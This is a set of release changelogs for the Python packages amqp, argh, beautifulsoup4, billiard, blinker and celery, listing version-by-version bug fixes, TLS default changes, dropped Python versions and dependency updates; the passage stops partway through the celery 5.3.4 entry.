Changelog
### 5.2.0
```
=====
:release-date: 2023-11-06 10:55 A.M. UTC+6:00
:release-by: Asif Saif Uddin
- Added python 3.12 and drop python 3.7 (423).
- Test vine 5.1.0 (424).
- Set an explicit timeout on SSL handshake to prevent hangs.
- Add MessageNacked to recoverable errors.
- Send heartbeat frames more often.
.. _version-5.1.1:
```
### 5.1.1
```
=====
:release-date: 2022-04-17 12:45 P.M. UTC+6:00
:release-by: Asif Saif Uddin
- Use AF_UNSPEC for name resolution (389).
.. _version-5.1.0:
```
### 5.1.0
```
=====
:release-date: 2022-03-06 10:05 A.M. UTC+6:00
:release-by: Asif Saif Uddin
- Improve performance of _get_free_channel_id, fix channel max bug (385).
- Document memoryview usage, minor frame_writer.write_frame refactor (384).
- Start dropping python 3.6 (387).
- Added experimental __slots__ to some classes (368)
- Relaxed vine version for upcoming release.
- Upgraded topytest 7 (388).
.. _version-5.0.9:
```
### 5.0.9
```
=====
:release-date: 2021-12-20 11:00 A.M. UTC+6:00
:release-by: Asif Saif Uddin
- Append to _used_channel_ids in _used_channel_ids
.. _version-5.0.8:
```
### 5.0.8
```
=====
:release-date: 2021-12-19 11:15 A.M. UTC+6:00
:release-by: Asif Saif Uddin
- Reduce memory usage of Connection (377)
- Add additional error handling around code where an OSError
may be raised on failed connections. Fixes (378)
.. _version-5.0.7:
```
### 5.0.7
```
=====
:release-date: 2021-12-13 15:45 P.M. UTC+6:00
:release-by: Asif Saif Uddin
- Remove dependency to case
- Bugfix: not closing socket after server disconnect
.. _version-5.0.6:
```
### 5.0.6
```
=====
:release-date: 2021-04-01 10:45 A.M. UTC+6:00
:release-by: Asif Saif Uddin
- Change the order in which context.check_hostname and context.verify_mode get set
in SSLTransport._wrap_socket_sni. Fixes bug introduced in 5.0.3 where setting
context.verify_mode = ssl.CERT_NONE would raise
"ValueError: Cannot set verify_mode to CERT_NONE when check_hostname is enabled."
Setting context.check_hostname prior to setting context.verify_mode resolves the
issue.
- Remove TCP_USER_TIMEOUT option for Solaris (355)
- Pass long_description to setup() (353)
- Fix for tox-docker 2.0
- Moved to GitHub actions CI (359)
.. _version-5.0.5:
```
### 5.0.5
```
=====
:release-date: 2021-01-28 4:30 P.M UTC+6:00
:release-by: Asif Saif Uddin
- Removed mistakenly introduced code which was causing import errors
.. _version-5.0.4:
```
### 5.0.4
```
=====
:release-date: 2021-01-28 2:30 P.M UTC+6:00
:release-by: Asif Saif Uddin
- Add missing load_default_certs() call to fix a regression in v5.0.3 release. (350)
.. _version-5.0.3:
```
### 5.0.3
```
=====
:release-date: 2021-01-19 9:00 P.M UTC+6:00
:release-by: Asif Saif Uddin
- Change the default value of ssl_version to None. When not set, the
proper value between ssl.PROTOCOL_TLS_CLIENT and ssl.PROTOCOL_TLS_SERVER
will be selected based on the param server_side in order to create
a TLS Context object with better defaults that fit the desired
connection side.
- Change the default value of cert_reqs to None. The default value
of ctx.verify_mode is ssl.CERT_NONE, but when ssl.PROTOCOL_TLS_CLIENT
is used, ctx.verify_mode defaults to ssl.CERT_REQUIRED.
- Fix context.check_hostname logic. Checking the hostname depends on
having support of the SNI TLS extension and being provided with a
server_hostname value. Another important thing to mention is that
enabling hostname checking automatically sets verify_mode from
ssl.CERT_NONE to ssl.CERT_REQUIRED in the stdlib ssl and it cannot
be set back to ssl.CERT_NONE as long as hostname checking is enabled.
- Refactor the SNI tests to test one thing at a time and removing some
tests that were being repeated over and over.
.. _version-5.0.2:
```
### 5.0.2
```
=====
:release-date: 2020-11-08 6:50 P.M UTC+3:00
:release-by: Omer Katz
- Whhels are no longer universal.
Contributed by **Omer Katz**
- Added debug representation to Connection and *Transport classes
Contributed by **Matus Valo**
- Reintroduce ca_certs and ciphers parameters of SSLTransport._wrap_socket_sni()
This fixes issue introduced in commit: 53d6777
Contributed by **Matus Valo**
- Fix infinite wait when using confirm_publish
Contributed by **Omer Katz** & **RezaSi**
.. _version-5.0.1:
```
### 5.0.1
```
=====
:release-date: 2020-09-06 6:10 P.M UTC+3:00
:release-by: Omer Katz
- Require vine 5.0.0.
Contributed by **Omer Katz**
.. _version-5.0.0:
```
### 5.0.0
```
=====
:release-date: 2020-09-03 3:20 P.M UTC+3:00
:release-by: Omer Katz
- Stop to use deprecated method ssl.wrap_socket.
Contributed by **Hervé Beraud**
.. _version-5.0.0b1:
```
### 5.0.0b1
```
=======
:release-date: 2020-09-01 6:20 P.M UTC+3:00
:release-by: Omer Katz
- Dropped Python 3.5 support.
Contributed by **Omer Katz**
- Removed additional compatibility code.
Contributed by **Omer Katz**
.. _version-5.0.0a1:
```
### 5.0.0a1
```
=======
:release-date: 2019-04-01 4:30 P.M UTC+3:00
:release-by: Omer Katz
- Dropped Python 2.x support.
Contributed by **Omer Katz**
- Dropped Python 3.4 support.
Contributed by **Omer Katz**
- Depend on :pypi:`vine` 5.0.0a1.
Contributed by **Omer Katz**
Code Cleanups & Improvements:
- **Omer Katz**
.. _version-2.6.0:
```
### 2.6.1
```
=====
:release-date: 2020-07-31 10.30 P.M UTC+6:00
:release-by: Asif Saif Uddin
- Fix buffer overflow in frame_writer after frame_max is increased. `frame_writer`
allocates a `bytearray` on initialization with a length based on the `connection.frame_max`
value. If `connection.frame_max` is changed to a larger value, this causes an
error like `pack_into requires a buffer of at least 408736 bytes`.
.. _version-2.6.0:
```
### 2.6.0
```
=====
:release-date: 20-06-01 12.00 P.M UTC+6:00
:release-by: Asif Saif Uddin
- Implement speedups in cython (311)
- Updated some tests & code improvements
- Separate logger for Connection.heartbeat_tick method
- Cython generic content (315)
- Improve documentation a_global parameter of basic_qos() method.
- Fix saving partial read buffer on windows during socket timeout. (321)
- Fix deserialization of long string field values that are not utf-8.
- Added simple cythonization of abstract_channel.py
- Speedups of serialization.py are more restrictive
.. _version-2.5.2:
```
Links
- PyPI: https://pypi.org/project/amqp
- Changelog: https://data.safetycli.com/changelogs/amqp/
- Repo: http://github.com/celery/py-amqp
Changelog
### 0.31.2
```
What's Changed
Bugs fixed:
- broken support for `Optional[List]` (but not `Optional[list]`), a narrower case of the problem fixed earlier (issue 216) by neithere, thanks to thorwhalen
Full changelog: https://argh.readthedocs.io/en/latest/changes.html
Full diff: https://github.com/neithere/argh/compare/v0.31.1...v0.31.2
```
### 0.31.1
```
*This text is a brief summary of the full changelog entry: https://argh.readthedocs.io/en/latest/changes.html#version-0-31-1-2024-01-19*
What's Changed
Bugs fixed:
- broken support for type alias `List` (issue 216), thanks to thorwhalen.
Enhancements:
- cleaned up the README, rearranged other documentation.
**Full diff**: https://github.com/neithere/argh/compare/v0.31.0...v0.31.1
```
### 0.31.0
```
What's Changed
This release is a major step forward for Argh. It paves the way to a fully annotations-driven approach where decorators will remain a mere legacy.
*This text is a brief summary of the full changelog entry: https://argh.readthedocs.io/en/latest/changes.html#version-0-31-0-2023-12-30*
Breaking changes:
* The typing hints introspection feature is automatically enabled for any command (function) which does **not** have any arguments specified via `arg` decorator.
* A small change in the legacy argument mapping policy `BY_NAME_IF_HAS_DEFAULT` concerning the order of variadic positional vs. keyword-only arguments.
* Removed the previously deprecated decorator `expects_obj`.
Enhancements:
* Type hints: basic usage to infer argument types (fixes 203) by neithere in https://github.com/neithere/argh/pull/211
* Support realtime output through a pipe (fixes 145) by neithere in https://github.com/neithere/argh/pull/202
* High-level functions `argh.dispatch_command()` and `argh.dispatch_commands()`
now accept a new parameter `old_name_mapping_policy`.
Deprecated:
- the `namespace` argument in `argh.dispatch()` and `argh.parse_and_resolve()`.
Rationale: continued API cleanup. It's already possible to mutate the
namespace object between parsing and calling the endpoint; it's unlikely that
anyone would need to specify a custom namespace class or pre-populate it
before parsing. Please file an issue if you have a valid use case.
Other changes:
- Refactoring.
**Full Diff**: https://github.com/neithere/argh/compare/v0.30.5...v0.31.0
```
### 0.30.5
```
What's Changed
* fix: nargs + list as default value (212) by neithere in https://github.com/neithere/argh/pull/213
(thanks to pioio for bug report)
* feat: argspec guessing: if `nargs` is not specified but the default value is a list, `nargs="*"` is assumed and passed to argparse.
**Full Changelog**: https://github.com/neithere/argh/compare/v0.30.4...v0.30.5
Please refer to the official changelog for more details: https://argh.readthedocs.io/en/latest/changes.html
```
### 0.30.4
```
What's Changed
There were complaints about the lack of a deprecation cycle for the legacy name
mapping policy. This version addresses the issue:
- The handling introduced in v.0.30.2 (raising an exception for clarity)
is retained for cases when no name mapping policy is specified but function
signature contains defaults in non-kwonly args **and kwonly args are also
defined**::
def main(alpha, beta=1, *, gamma=2): error — explicit policy required
In a similar case but when **kwonly args are not defined** Argh now assumes
the legacy name mapping policy (`BY_NAME_IF_HAS_DEFAULT`) and merely issues
a deprecation warning with the same message as the exception mentioned above::
def main(alpha, beta=2): `[-b BETA] alpha` + DeprecationWarning
This ensures that most of the old scripts still work the same way despite the
new policy being used by default and enforced in cases when it's impossible
to resolve the mapping conflict.
Please note that this "soft" handling is to be removed in version v0.33
(or v1.0 if the former is not deemed necessary). The new name mapping policy
will be used by default without warnings, like in v0.30.
— by neithere
**Full Changelog**: https://github.com/neithere/argh/compare/v0.30.3...v0.30.4
```
### 0.30.3
```
What's Changed
* fix: regression — `arg` deco failing with underscore in positional arg name (fixes 208) by neithere in https://github.com/neithere/argh/pull/209 (thanks to kaetir for a report with a reproducible example)
**Full Changelog**: https://github.com/neithere/argh/compare/v0.30.2...v0.30.3
```
### 0.30.2
```
What's Changed
* fix: raise exception for non-migrated commands (fixes 206) by neithere (reported and valuable feedback given by valentin-feron) in https://github.com/neithere/argh/pull/207
**Full Changelog**: https://github.com/neithere/argh/compare/v0.30.1...v0.30.2
```
### 0.30.1
```
What's Changed
Bugs fixed:
- Regression: certain special values in argument default value would cause an exception (204 reported by mfussenegger, fixed by neithere)
Enhancements:
- Improved the tutorial by neithere
- Added a more informative error message when the reason is likely to be related to the migration from Argh v0.29 to a version with a new argument name mapping policy by neithere
Other changes:
- Added `py.typed` marker file for PEP-561 by neithere
Details
Commits: https://github.com/neithere/argh/compare/v0.30.0...v0.30.1
Full changelog: https://argh.readthedocs.io/en/latest/changes.html#version-0-30-1
```
### 0.30.0
```
What's Changed
* Remove previously deprecated code (closes 184) by neithere in https://github.com/neithere/argh/pull/188
* Type annotations for existing code (closes 185) by neithere in https://github.com/neithere/argh/pull/189
* Deprecate `help` command alias and `expects_obj` decorator by neithere in https://github.com/neithere/argh/pull/192
* Document usage with class methods (closes 138) by neithere in https://github.com/neithere/argh/pull/194
* Remove pre_call, expose finer control over dispatching (re 63) by neithere in https://github.com/neithere/argh/pull/193
* Add support for Python 3.12 (closes 196) by neithere in https://github.com/neithere/argh/pull/195
* Refactor assembling module (closes 197) by neithere in https://github.com/neithere/argh/pull/198
* Keyword-only arguments as options (closes 191) by neithere in https://github.com/neithere/argh/pull/199
**Full Changelog**: https://github.com/neithere/argh/compare/v0.29.4...v0.30.0
```
### 0.30.0alpha
```
What's Changed
* Remove previously deprecated code (closes 184) by neithere in https://github.com/neithere/argh/pull/188
* Type annotations for existing code (closes 185) by neithere in https://github.com/neithere/argh/pull/189
* Deprecate `help` command alias and `expects_obj` decorator by neithere in https://github.com/neithere/argh/pull/192
* Document usage with class methods (closes 138) by neithere in https://github.com/neithere/argh/pull/194
* Remove pre_call, expose finer control over dispatching (re 63) by neithere in https://github.com/neithere/argh/pull/193
* Add support for Python 3.12 (closes 196) by neithere in https://github.com/neithere/argh/pull/195
* Refactor assembling module (closes 197) by neithere in https://github.com/neithere/argh/pull/198
* Keyword-only arguments as options (closes 191) by neithere in https://github.com/neithere/argh/pull/199
**Full Changelog**: https://github.com/neithere/argh/compare/v0.29.4...v0.30.0-alpha
```
### 0.29.4
```
Bugs fixed:
- Test coverage reported as <100% when argcomplete is installed (187)
```
### 0.29.3
```
This is a technical release for packaging purposes.
```
### 0.29.2
```
This is a technical release for packaging purposes.
```
### 0.29.1
```
This is a technical release for packaging purposes.
```
### 0.29.0
```
What's Changed
Backwards incompatible changes:
* Wrapped exceptions now cause ``dispatching.dispatch()`` to raise ``SystemExit(1)``
instead of returning without error. For most users, this means failed commands
will now exit with a failure status instead of a success (by ekimekim in 161).
Deprecated:
* Renamed arguments in `add_commands()` (165 / 178):
- `namespace` → `group_name`
- `namespace_kwargs` → `group_kwargs`
The old names are deprecated and will be removed in v.0.30.
Enhancements:
* Can control exit status (see Backwards Incompatible Changes above) when raising
``CommandError`` using the ``code`` keyword arg.
Bugs fixed:
* Positional arguments should not lead to removal of short form of keyword argument by neithere in 181
Other changes:
* Avoid depending on iocapture by using pytest's built-in feature by mr-c in 177
* chore: publishing to prod PyPI by neithere in 173
* test: add coverage for action="count" (127) by neithere in 183
New Contributors
* ekimekim made their first contribution in https://github.com/neithere/argh/pull/161
* mr-c made their first contribution in https://github.com/neithere/argh/pull/177
**Full Changelog**: https://github.com/neithere/argh/compare/v0.28.1...v0.29.0
```
### 0.28.1
```
What's Changed
* Add Github workflow to publish the release to PyPI by neithere in https://github.com/neithere/argh/pull/167
* fix: argcomplete-related test by neithere in 172 (reported in 169 by kloczek)
* fix: assumed prog name in tests by neithere in 171 (reported in 170 by mgorny)
**Full Changelog**: https://github.com/neithere/argh/compare/v0.28.0...v0.28.1
Thanks to everyone who reported
```
### 0.28.0
```
A major modernisation and cleanup.
Backward incompatible changes:
- Dropped support for Python 2.7 and 3.7.
Deprecated features, to be removed in v.0.30:
- `argh.assembling.SUPPORTS_ALIASES`.
- Always `True` for recent versions of Python.
- `argh.io.safe_input()` AKA `argh.interaction.safe_input()`.
- Not relevant anymore. Please use the built-in `input()` instead.
- argument `pre_call` in `dispatch()`.
Even though this hack seems to have been used in some projects, it was never part of the official API and never recommended.
Describing your use case in the discussion about shared arguments (63) can help improve the library to accomodate it in a proper way.
- Argument help as annotations.
- Annotations will only be used for types after v.0.30.
- Please replace any instance of:
def func(foo: "Foobar"):
with the following::
arg('-f', '--foo', help="Foobar")
def func(foo):
It will be decided later how to keep this functionality "DRY" (don't repeat yourself) without conflicts with modern conventions and tools.
- Added deprecation warnings for some arguments deprecated back in v.0.26.
**Full Changelog**: https://github.com/neithere/argh/compare/v0.27.2...v0.28.0
```
### 0.27.2
```
Minor packaging fix:
* chore: include file required by tox.ini in the sdist (155)
```
### 0.27.1
```
Minor building and packaging fixes:
* docs: add Read the Docs config (160)
* chore: include tox.ini in the sdist (155)
Contributors:
mtelka (155)
```
### 0.27.0
```
This is the last version to support Python 2.7.
Backward incompatible changes:
- Dropped support for Python 2.6.
Enhancements:
- Added support for Python 3.7 through 3.11.
- Support introspection of function signature behind the `wraps` decorator (issue 111).
Fixed bugs:
- When command function signature contained ``**kwargs`` *and* positionals without defaults and with underscores in their names, a weird behaviour could be observed (issue 104).
- Fixed introspection through decorators (issue 111).
- Switched to Python's built-in `unittest.mock` (PR 154).
- Fixed bug with `skip_unknown_args=True` (PR 134).
- Fixed tests for Python 3.9.7+ (issue 148).
Other changes:
- Included the license files in manifest (PR 112).
- Extended the list of similar projects (PR 87).
- Fixed typos and links in documentation (PR 110, 116, 156).
- Switched CI to Github Actions (PR 153).
Contributors:
dwf (105), jwilk (110), jakirkham (112), brilee, sanga (116), Gidgidonihah (134), mrdavidlaing (153), jelly (154), mtelka (154), hugovk (reviewing PRs).
```
Links
- PyPI: https://pypi.org/project/argh
- Changelog: https://data.safetycli.com/changelogs/argh/
- Docs: https://pythonhosted.org/argh/
Changelog
### 4.11.1
```
This release was done to ensure that the unit tests are packaged along
with the released source. There are no functionality changes in this
release, but there are a few other packaging changes:
* The Japanese and Korean translations of the documentation are included.
* The changelog is now packaged as CHANGELOG, and the license file is
packaged as LICENSE. NEWS.txt and COPYING.txt are still present,
but may be removed in the future.
* TODO.txt is no longer packaged, since a TODO is not relevant for released
code.
```
### 4.11.0
```
* Ported unit tests to use pytest.
* Added special string classes, RubyParenthesisString and RubyTextString,
to make it possible to treat ruby text specially in get_text() calls.
[bug=1941980]
* It's now possible to customize the way output is indented by
providing a value for the 'indent' argument to the Formatter
constructor. The 'indent' argument works very similarly to the
argument of the same name in the Python standard library's
json.dump() function. [bug=1955497]
* If the charset-normalizer Python module
(https://pypi.org/project/charset-normalizer/) is installed, Beautiful
Soup will use it to detect the character sets of incoming documents.
This is also the module used by newer versions of the Requests library.
For the sake of backwards compatibility, chardet and cchardet both take
precedence if installed. [bug=1955346]
* Added a workaround for an lxml bug
(https://bugs.launchpad.net/lxml/+bug/1948551) that causes
problems when parsing a Unicode string beginning with BYTE ORDER MARK.
[bug=1947768]
* Issue a warning when an HTML parser is used to parse a document that
looks like XML but not XHTML. [bug=1939121]
* Do a better job of keeping track of namespaces as an XML document is
parsed, so that CSS selectors that use namespaces will do the right
thing more often. [bug=1946243]
* Some time ago, the misleadingly named "text" argument to find-type
methods was renamed to the more accurate "string." But this supposed
"renaming" didn't make it into important places like the method
signatures or the docstrings. That's corrected in this
version. "text" still works, but will give a DeprecationWarning.
[bug=1947038]
* Fixed a crash when pickling a BeautifulSoup object that has no
tree builder. [bug=1934003]
* Fixed a crash when overriding multi_valued_attributes and using the
html5lib parser. [bug=1948488]
* Standardized the wording of the MarkupResemblesLocatorWarning
warnings to omit untrusted input and make the warnings less
judgmental about what you ought to be doing. [bug=1955450]
* Removed support for the iconv_codec library, which doesn't seem
to exist anymore and was never put up on PyPI. (The closest
replacement on PyPI, iconv_codecs, is GPL-licensed, so we can't use
it--it's also quite old.)
```
### 4.10.0
```
* This is the first release of Beautiful Soup to only support Python
3. I dropped Python 2 support to maintain support for newer versions
(58 and up) of setuptools. See:
https://github.com/pypa/setuptools/issues/2769 [bug=1942919]
* The behavior of methods like .get_text() and .strings now differs
depending on the type of tag. The change is visible with HTML tags
like <script>, <style>, and <template>. Starting in 4.9.0, methods
like get_text() returned no results on such tags, because the
contents of those tags are not considered 'text' within the document
as a whole.
But a user who calls script.get_text() is working from a different
definition of 'text' than a user who calls div.get_text()--otherwise
there would be no need to call script.get_text() at all. In 4.10.0,
the contents of (e.g.) a <script> tag are considered 'text' during a
get_text() call on the tag itself, but not considered 'text' during
a get_text() call on the tag's parent.
Because of this change, calling get_text() on each child of a tag
may now return a different result than calling get_text() on the tag
itself. That's because different tags now have different
understandings of what counts as 'text'. [bug=1906226] [bug=1868861]
* NavigableString and its subclasses now implement the get_text()
method, as well as the properties .strings and
.stripped_strings. These methods will either return the string
itself, or nothing, so the only reason to use this is when iterating
over a list of mixed Tag and NavigableString objects. [bug=1904309]
* The 'html5' formatter now treats attributes whose values are the
empty string as HTML boolean attributes. Previously (and in other
formatters), an attribute value must be set as None to be treated as
a boolean attribute. In a future release, I plan to also give this
behavior to the 'html' formatter. Patch by Isaac Muse. [bug=1915424]
* The 'replace_with()' method now takes a variable number of arguments,
and can be used to replace a single element with a sequence of elements.
Patch by Bill Chandos. [rev=605]
* Corrected output when the namespace prefix associated with a
namespaced attribute is the empty string, as opposed to
None. [bug=1915583]
* Performance improvement when processing tags that speeds up overall
tree construction by 2%. Patch by Morotti. [bug=1899358]
* Corrected the use of special string container classes in cases when a
single tag may contain strings with different containers; such as
the <template> tag, which may contain both TemplateString objects
and Comment objects. [bug=1913406]
* The html.parser tree builder can now handle named entities
found in the HTML5 spec in much the same way that the html5lib
tree builder does. Note that the lxml HTML tree builder doesn't handle
named entities this way. [bug=1924908]
* Added a second way to pass specify encodings to UnicodeDammit and
EncodingDetector, based on the order of precedence defined in the
HTML5 spec, starting at:
https://html.spec.whatwg.org/multipage/parsing.html#parsing-with-a-known-character-encoding
Encodings in 'known_definite_encodings' are tried first, then
byte-order-mark sniffing is run, then encodings in 'user_encodings'
are tried. The old argument, 'override_encodings', is now a
deprecated alias for 'known_definite_encodings'.
This changes the default behavior of the html.parser and lxml tree
builders, in a way that may slightly improve encoding
detection but will probably have no effect. [bug=1889014]
* Improve the warning issued when a directory name (as opposed to
the name of a regular file) is passed as markup into the BeautifulSoup
constructor. [bug=1913628]
```
### 4.9.3
```
* Implemented a significant performance optimization to the process of
searching the parse tree. Patch by Morotti. [bug=1898212]
```
### 4.9.2
```
* Fixed a bug that caused too many tags to be popped from the tag
stack during tree building, when encountering a closing tag that had
no matching opening tag. [bug=1880420]
* Fixed a bug that inconsistently moved elements over when passing
a Tag, rather than a list, into Tag.extend(). [bug=1885710]
* Specify the soupsieve dependency in a way that complies with
PEP 508. Patch by Mike Nerone. [bug=1893696]
* Change the signatures for BeautifulSoup.insert_before and insert_after
(which are not implemented) to match PageElement.insert_before and
insert_after, quieting warnings in some IDEs. [bug=1897120]
```
### 4.9.1
```
* Added a keyword argument 'on_duplicate_attribute' to the
BeautifulSoupHTMLParser constructor (used by the html.parser tree
builder) which lets you customize the handling of markup that
contains the same attribute more than once, as in:
<a href="url1" href="url2"> [bug=1878209]
* Added a distinct subclass, GuessedAtParserWarning, for the warning
issued when BeautifulSoup is instantiated without a parser being
specified. [bug=1873787]
* Added a distinct subclass, MarkupResemblesLocatorWarning, for the
warning issued when BeautifulSoup is instantiated with 'markup' that
actually seems to be a URL or the path to a file on
disk. [bug=1873787]
* The new NavigableString subclasses (Stylesheet, Script, and
TemplateString) can now be imported directly from the bs4 package.
* If you encode a document with a Python-specific encoding like
'unicode_escape', that encoding is no longer mentioned in the final
XML or HTML document. Instead, encoding information is omitted or
left blank. [bug=1874955]
* Fixed test failures when run against soupselect 2.0. Patch by Tomáš
Chvátal. [bug=1872279]
```
### 4.9.0
```
* Added PageElement.decomposed, a new property which lets you
check whether you've already called decompose() on a Tag or
NavigableString.
* Embedded CSS and Javascript is now stored in distinct Stylesheet and
Script tags, which are ignored by methods like get_text() since most
people don't consider this sort of content to be 'text'. This
feature is not supported by the html5lib treebuilder. [bug=1868861]
* Added a Russian translation by 'authoress' to the repository.
* Fixed an unhandled exception when formatting a Tag that had been
decomposed.[bug=1857767]
* Fixed a bug that happened when passing a Unicode filename containing
non-ASCII characters as markup into Beautiful Soup, on a system that
allows Unicode filenames. [bug=1866717]
* Added a performance optimization to PageElement.extract(). Patch by
Arthur Darcet.
```
### 4.8.2
```
* Added Python docstrings to all public methods of the most commonly
used classes.
* Added a Chinese translation by Deron Wang and a Brazilian Portuguese
translation by Cezar Peixeiro to the repository.
* Fixed two deprecation warnings. Patches by Colin
Watson and Nicholas Neumann. [bug=1847592] [bug=1855301]
* The html.parser tree builder now correctly handles DOCTYPEs that are
not uppercase. [bug=1848401]
* PageElement.select() now returns a ResultSet rather than a regular
list, making it consistent with methods like find_all().
```
Links
- PyPI: https://pypi.org/project/beautifulsoup4
- Changelog: https://data.safetycli.com/changelogs/beautifulsoup4/
Changelog
### 4.2.0
```
--------------------
- Update process.py to close during join only if process has completed.
- Adjust the __repr__ in ApplyResult.
- Remove python 3.7 from CI.
- Added Python 3.12 support.
- Fixed (co_positions): resolve issue caused by absence co_positions (395).
- Fixed: Replaced mktemp usage for Python 3 from python 2.
- Changed nose test to pytest (397) in Integration test.
- Changed nose dependency for unit test (383).
```
### 4.1.0
```
--------------------
- Fixed a python 2 to 3 compat issue which was missed earlier (374).
- Adde Python 3.11 primary support
```
### 4.0.2
```
--------------------
- ExceptionWithTraceback should be an exception.
```
### 4.0.1
```
--------------------
- Add support for Python 3.11 _posixsubprocess.fork_exec() arguments.
- Keep exception traceback somehow (368).
```
### 4.0.0
```
--------------------
- Support Sphinx 4.x.
- Remove dependency to case.
- Drop support of Python < 3.7.
- Update to psutil 5.9.0.
- Add python_requires to enforce Python version.
- Replace deprecated threading Event.isSet with Event.is_set.
- Prevent segmentation fault in get_pdeathsig while using ctypes (361).
- Migrated CI to Github actions.
- Python 3.10 support added.
```
### 3.6.4.0
```
--------------------
- Issue 309: Add Python 3.9 support to spawnv_passfds()
- fix 314
```
Links
- PyPI: https://pypi.org/project/billiard
- Changelog: https://data.safetycli.com/changelogs/billiard/
- Repo: https://github.com/celery/billiard
Changelog
### 1.7.0
```
-------------
Released 2023-11-01
- Fixed messages printed to standard error about unraisable exceptions during
signal cleanup, typically during interpreter shutdown. :pr:`123`
- Allow the Signal set_class to be customised, to allow calling of receivers
in registration order. :pr:`116`.
- Drop Python 3.7 and support Python 3.12. :pr:`126`
```
### 1.6.3
```
-------------
Released 2023-09-23
- Fix `SyncWrapperType` and `AsyncWrapperType` :pr:`108`
- Fixed issue where ``signal.connected_to`` would not disconnect the
receiver if an instance of ``BaseException`` was raised. :pr:`114`
```
### 1.6.2
```
-------------
Released 2023-04-12
- Type annotations are not evaluated at runtime. typing-extensions is not a runtime
dependency. :pr:`94`
```
### 1.6.1
```
-------------
Released 2023-04-09
- Ensure that py.typed is present in the distributions (to enable other
projects to use blinker's typing).
- Require typing-extensions > 4.2 to ensure it includes
ParamSpec. :issue:`90`
```
### 1.6
```
-----------
Released 2023-04-02
- Add a muted context manager to temporarily turn off a
signal. :pr:`84`
- Allow int senders (alongside existing string senders). :pr:`83`
- Add a send_async method to the Signal to allow signals to send to
coroutine receivers. :pr:`76`
- Update and modernise the project structure to match that used by the
pallets projects. :pr:`77`
- Add an intial set of type hints for the project.
```
### 1.5
```
-----------
Released 2022-07-17
- Support Python >= 3.7 and PyPy. Python 2, Python < 3.7, and Jython
may continue to work, but the next release will make incompatible
changes.
```
Links
- PyPI: https://pypi.org/project/blinker
- Changelog: https://data.safetycli.com/changelogs/blinker/
Changelog
### 5.3.6
```
=====
:release-date: 2023-11-22 9:15 P.M GMT+6
:release-by: Asif Saif Uddin
This release is focused mainly to fix AWS SQS new feature comatibility issue and old regressions.
The code changes are mostly fix for regressions. More details can be found below.
- Increased docker-build CI job timeout from 30m -> 60m (8635)
- Incredibly minor spelling fix. (8649)
- Fix non-zero exit code when receiving remote shutdown (8650)
- Update task.py get_custom_headers missing 'compression' key (8633)
- Update kombu>=5.3.4 to fix SQS request compatibility with boto JSON serializer (8646)
- test requirements version update (8655)
- Update elasticsearch version (8656)
- Propagates more ImportErrors during autodiscovery (8632)
.. _version-5.3.5:
```
### 5.3.5
```
=====
:release-date: 2023-11-10 7:15 P.M GMT+6
:release-by: Asif Saif Uddin
- Update test.txt versions (8481)
- fix os.getcwd() FileNotFoundError (8448)
- Fix typo in CONTRIBUTING.rst (8494)
- typo(doc): configuration.rst (8484)
- assert before raise (8495)
- Update GHA checkout version (8496)
- Fixed replaced_task_nesting (8500)
- Fix code indentation for route_task() example (8502)
- support redis 5.x (8504)
- Fix typos in test_canvas.py (8498)
- Marked flaky tests (8508)
- Fix typos in calling.rst (8506)
- Added support for replaced_task_nesting in chains (8501)
- Fix typos in canvas.rst (8509)
- Patch Version Release Checklist (8488)
- Added Python 3.11 support to Dockerfile (8511)
- Dependabot (Celery) (8510)
- Bump actions/checkout from 3 to 4 (8512)
- Update ETA example to include timezone (8516)
- Replaces datetime.fromisoformat with the more lenient dateutil parser (8507)
- Fixed indentation in Dockerfile for Python 3.11 (8527)
- Fix git bug in Dockerfile (8528)
- Tox lint upgrade from Python 3.9 to Python 3.11 (8526)
- Document gevent concurrency (8520)
- Update test.txt (8530)
- Celery Docker Upgrades (8531)
- pyupgrade upgrade v3.11.0 -> v3.13.0 (8535)
- Update msgpack.txt (8548)
- Update auth.txt (8547)
- Update msgpack.txt to fix build issues (8552)
- Basic ElasticSearch / ElasticClient 8.x Support (8519)
- Fix eager tasks does not populate name field (8486)
- Fix typo in celery.app.control (8563)
- Update solar.txt ephem (8566)
- Update test.txt pytest-timeout (8565)
- Correct some mypy errors (8570)
- Update elasticsearch.txt (8573)
- Update test.txt deps (8574)
- Update test.txt (8590)
- Improved the "Next steps" documentation (8561). (8600)
- Disabled couchbase tests due to broken package breaking main (8602)
- Update elasticsearch deps (8605)
- Update cryptography==41.0.5 (8604)
- Update pytest==7.4.3 (8606)
- test initial support of python 3.12.x (8549)
- updated new versions to fix CI (8607)
- Update zstd.txt (8609)
- Fixed CI Support with Python 3.12 (8611)
- updated CI, docs and classifier for next release (8613)
- updated dockerfile to add python 3.12 (8614)
- lint,mypy,docker-unit-tests -> Python 3.12 (8617)
- Correct type of `request` in `task_revoked` documentation (8616)
- update docs docker image (8618)
- Fixed RecursionError caused by giving `config_from_object` nested mod… (8619)
- Fix: serialization error when gossip working (6566)
- [documentation] broker_connection_max_retries of 0 does not mean "retry forever" (8626)
- added 2 debian package for better stability in Docker (8629)
.. _version-5.3.4:
```
### 5.3.4
```
=====
:release-date: 2023-09-03 10:10 P.M GMT+2
:release-by: Tomer Nosrati
.. warning::
This version has reverted the breaking changes introduced in 5.3.2 and 5.3.3:
- Revert "store children with database backend" (8475)
- Revert "Fix eager tasks does not populate name field" (8476)
- Bugfix: Removed unecessary stamping code from _chord.run() (8339)
- User guide fix (hotfix for 1755) (8342)
- store children with database backend (8338)
- Stamping bugfix with group/chord header errback linking (8347)
- Use argsrepr and kwargsrepr in LOG_RECEIVED (8301)
- Fixing minor typo in code example in calling.rst (8366)
- add documents for timeout settings (8373)
- fix: copyright year (8380)
- setup.py: enable include_package_data (8379)
- Fix eager tasks does not populate name field (8383)
- Update test.txt dependencies (8389)
- Update auth.txt deps (8392)
- Fix backend.get_task_meta ignores the result_extended config parameter in mongodb backend (8391)
- Support preload options for shell and purge commands (8374)
- Implement safer ArangoDB queries (8351)
- integration test: cleanup worker after test case (8361)
- Added "Tomer Nosrati" to CONTRIBUTORS.txt (8400)
- Update README.rst (8404)
- Update README.rst (8408)
- fix(canvas): add group index when unrolling tasks (8427)
- fix(beat): debug statement should only log AsyncResult.id if it exists (8428)
- Lint fixes & pre-commit autoupdate (8414)
- Update auth.txt (8435)
- Update mypy on test.txt (8438)
- added missing kwargs arguments in some cli cmd (8049)
- Fix 8431: Set format_date to False when calling _get_result_meta on mongo backend (8432)
- Docs: rewrite out-of-date code (8441)
- Limit redis client to 4.x since 5.x fails the test suite (8442)
- Limit tox to < 4.9 (8443)
